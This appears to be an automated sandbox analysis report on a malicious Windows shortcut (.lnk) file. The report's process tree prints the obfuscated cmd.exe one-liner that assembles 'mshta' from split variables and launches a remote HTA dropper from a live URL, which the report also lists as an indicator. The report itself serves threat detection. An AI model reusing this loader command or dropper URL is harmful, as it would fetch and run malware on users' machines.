Analysis

  • max time kernel
    40s
  • max time network
    37s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 18:12

General

  • Target
    DOC-M1NBMF.lnk
  • Size 1KB
  • Sample260803-wtaaaaxxbx
  • SHA256 7a8a9addf9425c772dfe77a3e836f8ca0c0f8594e445439003c4ab9c7ee3f309
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-M1NBMF.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1856
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /V:on /C "set vz=msh&&set HloI=ta&&start "" !vz!!HloI! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4340
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:4772

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads